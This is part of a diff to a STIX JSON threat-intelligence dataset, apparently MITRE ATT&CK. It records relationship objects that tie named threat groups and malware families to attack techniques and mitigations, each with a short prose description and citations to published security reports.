"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware enumerates logged-on users.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.628Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to download a file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.359Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) uses search order hijacking of the Windows executable sysprep.exe to escalate privileges.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84", + "external_references": [ + { + "source_name": "FireEye Respond Webinar July 2017", + "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.", + "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html" + }, + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.779Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has leveraged multiple types of spearphishing in order to attempt to get a user to open links and attachments.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1262d88d-0eb1-4d19-b84a-9793ef3e4d03", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ], + "modified": "2019-03-22T20:15:19.456Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware modifies the Windows firewall to allow incoming connections or disable it entirely using [netsh](https://attack.mitre.org/software/S0108). [Lazarus Group](https://attack.mitre.org/groups/G0032) malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally, [Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services.", + "type": "relationship", + "created": "2017-05-31T21:33:27.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Tools", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf" + }, + { + "source_name": "US-CERT SHARPKNOT June 2018", + "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf" + } + ], + "modified": "2019-04-29T18:13:08.638Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) listed remote shared drives that were accessible from a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2019-03-25T16:57:02.831Z", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.302Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45966f4c-51d4-4940-854d-79d712f63ed5", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "source_name": "CameraShy", + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have split RAR files for exfiltration into parts.", + "type": "relationship", + "created": "2017-05-31T21:33:27.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-07-14T21:15:55.098Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1cabd067-2229-488f-a244-03aa087b7e54", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.300Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) has used command line during its intrusions.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f618c0f-79b8-4990-a02b-6e3187b14033", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2019-03-25T16:57:02.832Z", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:16:03.516Z", + "type": "relationship", + "id": "relationship--06a8b931-7881-4e8b-a970-c430379279ca", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.027Z", + "source_ref": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has obtained the victim username and sent it to the C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.436Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can search files on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27834043-1004-4a70-9023-a318bd6db7c6", + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used WMI to steal credentials and execute backdoors at a future time.", + "type": "relationship", + "created": "2017-05-31T21:33:27.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). 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Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can run [Systeminfo](https://attack.mitre.org/software/S0096) to gather information about the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) delivers malware using spearphishing emails with malicious HWP attachments.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0061edc-becf-4ce9-ae91-5e1816d4a894", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). 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Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-08T14:33:16.037Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) collects the victim hostname, window resolution, and Microsoft Windows version.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a08dadbf-6f68-415f-9daa-f84571af83a2", + "external_references": [ + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. 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(2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-29T18:13:08.622Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:48:23.890Z", + "type": "relationship", + "id": "relationship--a6a8e3e4-faa7-4c9f-9460-fabbbc8c844c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used PowerShell commands to execute payloads.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1219cbd2-26b8-4a2e-bbf1-477afc396203", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "modified": "2019-04-25T11:39:52.194Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ELMER](https://attack.mitre.org/software/S0064) uses HTTP for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812", + "external_references": [ + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has exploited Microsoft Word vulnerability CVE-2017-0199 for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8a9d92e5-e9b5-40bd-8cc4-c4cc5ed9fdd4", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "modified": "2019-03-25T17:00:47.364Z", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.493Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used watering holes to deliver files with exploits to initial victims.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62fd473e-e045-4a47-828a-ab5ee7b4fcf0", + "external_references": [ + { + "source_name": "Symantec Patchwork", + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-07-11T13:53:05.862Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GLOOXMAIL](https://attack.mitre.org/software/S0026) communicates to servers operated by Google using the Jabber/XMPP protocol.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "CyberESI GTALK", + "description": "CyberESI. (2011). TROJAN.GTALK. Retrieved June 29, 2015.", + "url": "http://www.cyberengineeringservices.com/2011/12/15/trojan-gtalk/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has used a Gh0st variant known as PCrat/Gh0st.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d432cda-9684-4daa-a66f-c65ad90ff2b7", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. 